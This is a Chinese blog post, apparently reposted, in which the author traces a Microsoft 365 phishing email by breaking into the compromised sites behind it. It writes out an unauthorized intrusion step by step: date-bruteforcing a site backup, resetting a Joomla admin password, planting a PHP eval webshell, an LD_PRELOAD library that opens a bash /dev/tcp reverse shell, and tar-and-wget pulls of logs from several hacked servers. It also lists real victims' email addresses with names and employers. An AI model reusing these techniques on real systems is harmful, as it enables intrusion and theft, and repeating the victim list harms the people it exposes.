如何通过一封恶意邮件追踪幕后黑客组织 - 小胖资源博客

如何通过一封恶意邮件追踪幕后黑客组织

作者: 小胖

全网最全的网络资源分享网站

手机扫码查看

特别声明:文章多为网络转载,资源使用一般不提供任何帮助,特殊资源除外,如有侵权请联系!

浪尖物联卡

一、前言

近日朋友收到一封来自海外的钓鱼邮件,拜托我帮助剖析。因而我对钓鱼者身份和攻击途径停止了一次细致的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是经过提取攻击者控制的肉鸡效劳器、网站访问日志、攻击者后门特征等。关联剖析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式,细致记载整个溯源过程,包括剖析手法和思绪,以供平安研讨人员参考。

二、信息搜集

这是一封冒充 Microsoft Outlook WebApp 密码过时的钓鱼邮件:

钓鱼邮件1.jpg-172.9kB

2.1 邮件正文:

Received: from sysmailout1.platon.sk (unknown [85.248.228.17])
    by bizmx16.qq.com (NewMx) with SMTP id 
    for <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800
X-QQ-SPAM: true
X-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0
    PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w
    1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT
    fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ
    QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==
X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM
    4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK
    yGbgfv5Gx9Qr65abnNzXymg=
X-QQ-mid: bizmx16t1543445804ti4ex7suw
X-QQ-CSender: www-data@m7web1.platon.sk
X-QQ-ORGSender: www-data@m7web1.platon.sk
X-KK-mid:bizmxp6t1543445804t9ne878su
Received: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])
    by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E
    for <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
Received: by m7web1.platon.sk (Postfix, from userid 33)
    id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
To: test@test.cn
Subject: =?UTF-8?Q?Password_expiry_notice?=
Date: Wed, 28 Nov 2018 23:56:38 +0100
From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk>
Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>
X-Priority: 3
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="us-ascii"
略...

The password for the Microsoft 365 account test@test.cn  has
expired.
![mir-nc.png-57.1kB][2]
 To protect your Microsoft =
account, your existing password may cease to work
shortly.



You are now required to <a hre=
f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=
test.cn
"><span style=3D"font-weight: bold;">change
your password
immediateIy. 

=2E <a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn
略...

2.2 剖析邮件内容

依据邮件内容得到的信息如下:

钓鱼网站: www.rosturplast.com(137.74.81.5 法国)

钓鱼链接: http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn

发件地址: no-response@365.mirohaviar.sk

效劳商: Platon Technologies, s.r.o (斯洛伐克)

SMTP: sysmailout1.platon.sk (85.248.228.17 斯洛伐克)

三、浸透钓鱼网站

3.1 破绽剖析

目的网站:www.rosturplast.com

访问钓鱼链接,一个克隆OWA修正密码的的虚假页面,我们依照正常流程走一遍,密码随意输入。不出所料页面提示密码错误,这么做能够搜集受害者多个密码进步胜利率,认真想想这个功用还是很贴心的:)。

Step 1钓鱼邮件页面1.png-45.6kBStep 2钓鱼邮件页面3.png-50.6kBStep 3钓鱼邮件页面2.png-35.6kB

抓包如下: 注入、跨站之流都是不存在的。钓鱼页面表单提交抓包.png-205.9kB

访问首页,这是一家俄罗斯的塑料水管厂商,攻击者入侵了这个网站,放置了钓鱼页面,再经过邮件传播。

Screenshot-2018-12-11 RTP – Russian manufacturer of plastic pipes and fittings – High Quality Pipes and Fittings.png-1622.7kB

端口扫描显现开放了一堆端口,防火墙做了战略限制。

nmap-rosturplast.com-carbon.png-397.3kB经过扫描剖析,得到陷落主机信息如下:

[+] HOST: www.rosturplast.com (137.74.81.5 法国)
[+] OS: Red Hat 4.8
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
[+] CMS: Joomla 3.3.3 (Joomla!是一套海外盛行的建站系统,基于PHP+MySQL开发)

这是一个低版本的Joomla,joomscan扫描显现受害网站有一堆破绽,看起来弱不由风,Getshell指日可待。joomscan-rosturplast.png-995.8kB

扫描发现PHPMailer RCE破绽,不过需求邮件发送表单功用才干应用,这一堆破绽里面,看起来独一有时机的是CVE-2016-9838(Joomla! Core Remote Privilege Escalation Vulnerability),但是经过测试攻击者(丧尽天良)贴心的把用户注册页面删除了!堵住了破绽,招致无法应用。FireShot Capture .png-146.7kB

机智的我(此时毫无方法),开端挂字典整合Joomla目录盲扫备份文件,最后发现目的存在PhpMyAdmin后台,和一个报错页面,页面显现了网站绝对途径和疑似以日期格式生成的网站备份的文件名。

/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip

3.2 堕入僵局

尝试下载这个文件,http响应404。看了一下同站有多个站点,但旁站浸透是个膂力活,国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步堕入了僵局,睡个午觉养养神,下午继续研讨。

wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip  错误 404:Not Found

3.3 后台提权

不到万不得已,不从旁站和C段动手,稍加思索依据报错页面的备份文件名格式生成日期文件,尝试遍历日期下载,碰碰运气。

脚本内容:

#!/bin/bash startdate=`date -d "+0 day $1" +%Y%m%d`
enddate=`date -d "+0 day $2" +%Y%m%d` while [[ $startdate -le $enddate ]] do date=$startdate startdateother=`date -d "+0 day $date" +%Y-%m-%d`
dateother=$startdateother url=http://www.rosturplast.com/rosturplast.com.$dateother.zip echo "$url" startdate=`date -d "+1 day $date" +%Y-%m-%d`
startdateother=`date -d "+1 day $date" +%Y-%m-%d`
wget $url done

脚本大约跑了一个下午,当抵达2017-08-07的时分,响应200状态码,看到rosturplast.com.2017-08-07.zip的文件大小为177M 觉得成了,解压结果然是整站备份,果真是柳暗花明又一shell。

wget-rosturp.png-864.5kB2018-12-01 05-18-10屏幕截图.png-159.4kB

查看配置文件configuration.php得到数据库衔接信息,登录PhpMyAdmin后台。低权限无法直接写shell,只能修正默许密码登录Joomla!后台。

public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'user***';            //敏感信息打码
public $password = 'K********6759';  //敏感信息打码
public $db = 'rtp_com3';
public $dbprefix = 'ms8ef_';
public $live_site = '';
public $secret = '5qp******4zU';     //敏感信息打码 

rosturp.configuration-.png-708.2kBrosturplast.com-phpmyadmin (1).png-136.6kB

备份原始密文以备复原,将后台密码修正为 test123456XYZ

http://www.rosturplast.com/administrator/
admin / test123456XYZ

joomla-manager1.png-132.6kB

登录后台,经过模板写入WebShell

Extensions ---> Template Manager ---> Template ---> New Files ---> PHP WebSehll

joomla-getshell1.png-83.2kB这里写入了PHP一句话WebShell,经过Cknife(java版中国菜刀)对网站停止控制。

<?php @eval($_POST['cmd']);?>

2018-11-29 13-04-43屏幕截图.png-140.1kB

查看攻击者的钓鱼文件目录,user.txt 细致记载了上钩的受害者信息。rostruplast.com-user.txt-.png-138kB

3.4 日志剖析

将网站文件和访问日志下载到本地剖析

[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs /var/www/rosturpl/data/logs/rosturplast*
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz  --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz  /var/www/rosturpl/data/www/rosturplast.com/
wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz
? root@kali  /tmp  gzip -d *.gz
? root@kali  /tmp  ls -lh
总用量 22M
-rw-r----- 1 48 6313 392K 11月 30 16:19 rosturplast.com.access.log
-rw-r----- 1 48 6313 418K 11月 21 08:08 rosturplast.com.access.log-20181121
-rw-r----- 1 48 6313 315K 11月 22 08:27 rosturplast.com.access.log-20181122
-rw-r----- 1 48 6313 367K 11月 23 08:08 rosturplast.com.access.log-20181123
-rw-r----- 1 48 6313 332K 11月 24 08:20 rosturplast.com.access.log-20181124
-rw-r----- 1 48 6313 394K 11月 25 08:30 rosturplast.com.access.log-20181125
-rw-r----- 1 48 6313 217K 11月 26 08:27 rosturplast.com.access.log-20181126
-rw-r----- 1 48 6313 338K 11月 27 08:07 rosturplast.com.access.log-20181127
-rw-r----- 1 48 6313 1.8M 11月 28 08:35 rosturplast.com.access.log-20181128
-rw-r----- 1 48 6313 2.3M 11月 29 08:38 rosturplast.com.access.log-20181129
-rw-r----- 1 48 6313 6.4M 11月 30 08:38 rosturplast.com.access.log-20181130
-rw-rw---- 1 48 6313 267K 11月 30 16:00 rosturplast.com.error.log
-rw-rw---- 1 48 6313 3.8K 11月 21 03:44 rosturplast.com.error.log-20181121
-rw-rw---- 1 48 6313 1.9K 11月 21 14:43 rosturplast.com.error.log-20181122
-rw-rw---- 1 48 6313 1.9K 11月 23 02:30 rosturplast.com.error.log-20181123
-rw-rw---- 1 48 6313 5.0K 11月 24 01:46 rosturplast.com.error.log-20181124
-rw-rw---- 1 48 6313 8.3K 11月 25 02:07 rosturplast.com.error.log-20181125
-rw-rw---- 1 48 6313 2.3K 11月 26 05:05 rosturplast.com.error.log-20181126
-rw-rw---- 1 48 6313 4.1K 11月 27 05:34 rosturplast.com.error.log-20181127
-rw-rw---- 1 48 6313 550K 11月 28 08:35 rosturplast.com.error.log-20181128
-rw-rw---- 1 48 6313 6.5M 11月 29 07:51 rosturplast.com.error.log-20181129
-rw-rw---- 1 48 6313 1.4M 11月 30 08:38 rosturplast.com.error.log-20181130

用D盾扫网站文件,发现这个网站已成跑马场。2018-11-30 17-00-28屏幕截图.png-59.9kB

攻击者在shells/目录下放置钓鱼文件和PHP后门。rosturplast.com-shells-ls.png-306.7kB

查看哪些IP访问了后门并统计次数

查询攻击者IP地址

 ? root@kali  /tmp/rosturplast.com/log  grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r  >ip.txt
26 174.85.145.99
20 50.73.252.169
10 213.233.104.120
2 207.228.149.69
2 195.211.23.207
2 129.205.113.8
 ? root@kali  /tmp/rosturplast.com/log  for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 174.85.145.99 来自: 美国 
IP: 50.73.252.169 来自: 美国 
IP: 213.233.104.120 来自: 罗马尼亚 
IP: 207.228.149.69 来自: 百慕大 
IP: 195.211.23.207 来自: 俄罗斯 
IP: 129.205.113.8 来自: 尼日利亚

依据后门文件名,匹配Apache访问日志得到攻击者的代理IP和User Agent

 ? root@kali  /tmp  grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

经过日志匹配邮箱并去重得到受害者邮箱地址

egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' *  | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
 ? root@kali  /tmp  egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' *  | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
alexsin54@yahoo.com             //攻击者邮箱  
clavenda.payman@lbdi.net        //利比亚开展投行CFO
dennis@rayfields.co.za          //域名失效
georges.raad@nera.net           //新加坡IT根底设备提供商员工
gthakkar@sscinc.com             //美国SS&C Technologies, Inc. (印度分公司)
jasonchowan223@gmail.com        //攻击者邮箱
******@******.com               //同事
jiajie.lim@cimb.com             //马来西亚联昌国际银行员工
kohchinbeng@bdo.com.sg          //新加坡立信会计师事务所员工
mayfaithlee@hotmail.com         //未知
philip@beekoo.hk                //深圳市很有蜂格网络科技有限公司CEO
Point72.IR@sscinc.com           //美国SS&C Technologies, Inc.
shunweicapital@sscinc.com       //美国SS&C Technologies, Inc.(疑似顺为资本)
url@email.com                   //无效

3.5 受害者身份辨认

经过搜索引擎对这15个受害者邮箱停止身份辨认。

3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com

alexsin54@yahoo.com:攻击者狡诈账户,曾被告发过,在这里攻击者用来作钓鱼测试。 jasonchowan223@gmail.com:经过钓鱼程序配置文件取得。 ./logon.secureaccess/mail.php:$mail="jasonchowan223@gmail.com";

来源:http://www.payer.org/test/

来源:https://avoidaclaim.com/2018/debt-collection-fraud-using-the-name-yeung-alexander-luk/alexsin54@yahoo.com-狡诈账户.png-124.7kBalexsin54@yahoo.com-狡诈账户2.png-196.4kB

3.5.2 clavenda.payman@lbdi.net

Mrs. Clavenda O. PAYMAN 利比亚开展投行(Liberian Bank forDevelopment and nvestment)首席财务官

来源:https://www.adfi-ci.org/downloads/telecharger.php?Fichier_a_telecharger=files/aadfi_doc_en_20130623170205.pdf&chemin=&id=91clavenda.payman@lbdi.net-1.png-86kBclavenda.payman@lbdi.net-2.png-169.6kB

3.5.3 georges.raad@nera.net

疑似新加坡 Nera Telecommunications Ltd(IT根底设备提供商)公司员工

来源:http://www.nera.net/about-us.html

3.5.4 gthakkar@sscinc.com

美国SS&C Technologies, Inc. & 印度金融效劳公司 Globeop Financial Services Technologies (India) Private Limited

来源:https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044

来源: http://www.seepz.gov.in/writereaddatafolder/Regional%20Governing%20Council%20of%20EPCES%20for%202016-18.pdfgthakkar@sscinc.com1.png-169.5kB

3.5.5 jiajie.lim@cimb.com

马来西亚联昌国际银行员工(CIMB Group)

来源:https://www.cimb.com/en/who-we-are.html

3.5.6 kohchinbeng@bdo.com.sg

KOH CHIN BENG 新加坡立信会计师事务所员工

来源:https://www.bdo.com.sg/en-gb/our-people/koh-chin-bengkohchinbeng@bdo.com.sg-1.png-263.7kB

3.5.7 philip@beekoo.hk

深圳市很有蜂格网络科技有限公司 CEO
来源:https://m.zhipin.com/job_detail/1407383492.html
来源:https://www.tianyancha.com/company/2349004659
philip@beekoo.hk-1.png-101.3kB

四、浸透邮件发送网站

目的:mirohaviar.sk ,这是一个博客网站

4.1 破绽扫描

效劳器信息如下:

[+] HOST: mirohaviar.sk(85.248.229.150 斯洛伐克)
[+] OS: Debian 7
[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16
[+] CMS: Joomla 1.5
nmap-mirohaviar.sk-1.png-123.2kB

joomscan-1mirohaviar.sk.png-660.5kBCMS破绽扫描得到图示的破绽信息,经过测试全部无法应用,其他端口也没有发现能够应用的的破绽,看来攻击者也是一个勤奋的同窗,入侵胜利后做了相应的修复和加固,看起来毫无方法,仿佛只能旁站或者C段浸透了。

但是有人的中央就有江湖,有黑客入侵过的网站一定有后门。这类应用通用破绽批量入侵的黑客团伙,后门文件普通都有特征,我依据前一个网站取得的php后门文件名列表,批量访问当前网站得到了三个相同的后门文件。

rosturplast.com-shells-1.png-169.4kB

 ? root@kali  /tmp/rosturplast.com/webroot/shells  md5sum *         
724e7316427151ea1f449f38a28f642c  406.php
3e8a7cf7049e8b9ab8dfca7d3c827c4a  aaaa
aaf775b99997c166ff45677806d809de  an.php
e5c06f1f66781ba5c39d909096c4cd47  a.txt
f71ad06982064b125d155b6f601198b8  bacu.php
f2d7553b97d8e0a0258e48c3ca42a7d2  baer.php
c01a0691c484a8d00977a100d8706b50  cfg.php
e5c06f1f66781ba5c39d909096c4cd47  config.php
md5sum: logon.secureaccess: 是一个目录
983ba05973b84e33e76916ca0dabedec  new2bug.txt
1c014f955a67974dc779100c13162f1a  priv8.php
2a73dda7ebb3b8d1c0d094b79623e9ff  setup.php
80b5dadd0a9856f1e6d950843140d24e  switch-security.php
48f50fb676028e0ae82f3f2db4e26247  unzipper.php
51f0bba7ec30b8778dca19ead016a58f  webapp365.zip
58d1d66c0be0739319156702522b1b52  wso.php

相同文件名如下:

http://www.mirohaviar.sk/config.php
http://www.mirohaviar.sk/an.php
http://www.mirohaviar.sk/bacu.php  Pro Mailer V2

其中 http://www.mirohaviar.sk/config.php 是攻击者的加密WebShell,理论上只需解密取得密码就能登录这个后门。

4.2 解密WebShell

解密过程如下

awk -F "\"" '{print $2}' config.php 
//去除头尾多余字符,得到base64密文。
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'
//第一次base64解码,得到16进制密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p
//第二次hex解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}'
//第三次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' 
//第四次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i
//第五次base64解码,得到明文

PHP后门解密过程1.png-3103.9kB

得到后门密码hash(MD5),解密后得到明文: root (饶了个大弯原来是个弱口令,下次遇到这类先跑一下密码)

$auth_pass = "63a9f0ea7bb98050796b649e85481845"; 

2019-01-24 12-22-41屏幕截图.png-17.3kB

这个后门有点皮,做了UserAgent判别,我阅读器默许设置的UA是Googlebot,访问显现404,这是反搜索引擎爬虫的习用手腕,所以我换了个正常阅读器的UA访问得到正常页面。

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

mirohaviar.sk-config.php-shell.png-13.4kB

4.3 提权

经过webshell得到了详细系统信息,下一步尝试提权,目的是取得Apache的web访问日志。mir-sysinfo.png-118.7kB

4.3.1 打破disable_functions

测试发现目的限制跨目录(open_basedir),并禁用了命令执行函数,招致WebShell权限下,无法跨目录访问也无法执行命令。

disable_functions:   escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec   
open_basedir:   /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/

mir-disable_functions.png-60.7kB

打破的手腕很多,这里我应用LD_PRELOAD动态链接来劫持php的mail函数打破disable_functions执行系统命令。

查看sendmail函数在执行过程中动态调用哪些规范库函数。

www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail 
Symbol table '.dynsym' contains 420 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __printf_chk@GLIBC_2.3.4 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getegid@GLIBC_2.2.5 (3)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dane_raw_tlsa@DANE_0_0 (4)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __errno_location@GLIBC_2.2.5 (3)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sendto@GLIBC_2.2.5 (3)
     ......
     76: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getuid@GLIBC_2.2.5 (3)
     77: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND send@GLIBC_2.2.5 (3)

从当选取geteuid函数停止测试,编写动态链接程序bypass.c

#include<stdlib.h>
#include <stdio.h>    
#include<string.h> 
void payload() {
    system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
}  
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令调用system执行一个反弹shell的操作(xxx.xxx.xxx.xxx即是我的公网效劳器IP)

编译

gcc -c -fPIC bypass.c -o bypass
gcc -shared bypass.c -o bypass.so

上传

www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.so
www-data@m7web1:/tmp$ file bypass.so
file bypass.so
bypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)

执行

bypass.php

<?php
putenv("LD_PRELOAD=/tmp/bypass.so");
mail("test@localhost","","","","");
?>

阅读器访问http://www.mirohaviar.sk/bypass.php页面后胜利执行命令,得到了一个www-user权限的反弹shell。mir-nc.png-57.1kB

4.3.2 发现行迹

认真看这是一家斯洛伐克的网络公司,这台效劳器上面托管了五百多个网站,当前的权限能够访问这些网站的文件和数据库,令人遗憾的的是apache日志目录/var/log/apache2/无权限访问。mir-site.png-112.8kB

不过我在/tmp目录下面发现了一个有趣的日志文件。

[/tmp/]$cat w
--2018-11-26 04:49:06--  http://187.85.134.4/cacat/mm.tgz
Connecting to 187.85.134.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 769309 (751K) [application/x-gzip]
Saving to: 'mm.tgz'
     0K .......... .......... .......... .......... ..........  6%  174K 4s
    50K .......... .......... .......... .......... .......... 13%  176K 4s
   100K .......... .......... .......... .......... .......... 19% 14.1M 2s
   150K .......... .......... .......... .......... .......... 26%  353K 2s
   200K .......... .......... .......... .......... .......... 33%  353K 2s
   250K .......... .......... .......... .......... .......... 39% 19.8M 1s
   300K .......... .......... .......... .......... .......... 46%  355K 1s
   350K .......... .......... .......... .......... .......... 53% 28.7M 1s
   400K .......... .......... .......... .......... .......... 59% 23.6M 1s
   450K .......... .......... .......... .......... .......... 66%  344K 1s
   500K .......... .......... .......... .......... .......... 73% 18.0M 0s
   550K .......... .......... .......... .......... .......... 79%  360K 0s
   600K .......... .......... .......... .......... .......... 86% 20.4M 0s
   650K .......... .......... .......... .......... .......... 93% 20.2M 0s
   700K .......... .......... .......... .......... .......... 99% 12.7M 0s
   750K .                                                     100% 2438G=1.3s
2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]

4.4 追踪

依据泄露日志,运用谷歌搜索关键字:http://187.85.134.4,发现了一个历史页面。2019-01-21 18-19-42屏幕截图.png-106.2kB2019-01-21 18-29-31屏幕截图.png-34.3kB这是一个曾经被删除的后门页面,刚好被谷歌爬虫收录了,进一步搜索一下这个后门参数的关键字: inurl:bc.php?filesrc=,得到了多条后门记载。2019-01-21 18-33-46屏幕截图.png-197.6kB其中多个WebShell缓存页面内容跟上一个被黑网站的暂时目录中发现的日志内容吻合,疑似自动化攻击留下的日志,WebShell底部署名:Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber ,标明后门均为这个黑客组织一切。2018-12-03 10-01-46屏幕截图.png-194kB进一步搜索这个黑客组织称号,发现大量被黑网站,程序运用Wordpress与Joomla居多。A111.png-160.3kBA22.png-9.2kBA33.png-88.2kBA44.png-62.1kBA55.png-56.5kB

4.5 提取日志

我提取了其中几个被入侵网站的访问日志。

4.5.1 网站:www.radiolanalhue.cl

打包

tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz
--exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz  /home/radiolanalhue/public_html/  
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz /home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl 

下载

wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gz 
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz

剖析

依据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。
 ? ? root@kali  /tmp/radiolanalhue.cl/log/  grep "/beez5/" radiolanalhue.cl-Dec-2018
疑似攻击者代理IP:
212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
谷歌爬虫:
66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

4.5.2 网站:zebramedia.al

打包

tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs

下载

wget  http://zebramedia.al/zebramedia.al-log.tar.gz
wget  http://zebramedia.al/zebramedia.al-www.tar.gz
-rw-r--r-- 1 1365 1328   478714 11月 30 21:15 evropakrijuese.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328     6463 11月 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328  1855430  6月  30  2018 ftp.publik.live-ftp_log-Jun-2018.gz
-rw-r--r-- 1 1365 1328     7899 11月 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 22883767 11月 30 21:15 ief.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328    67526 11月 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328    68187 11月 30 21:15 instadyqan.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328    34530 11月 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328    35748 11月 30 21:15 pigmentnews.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328     7709 11月 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328   129055 11月 30 21:15 publik.live-Nov-2018.gz
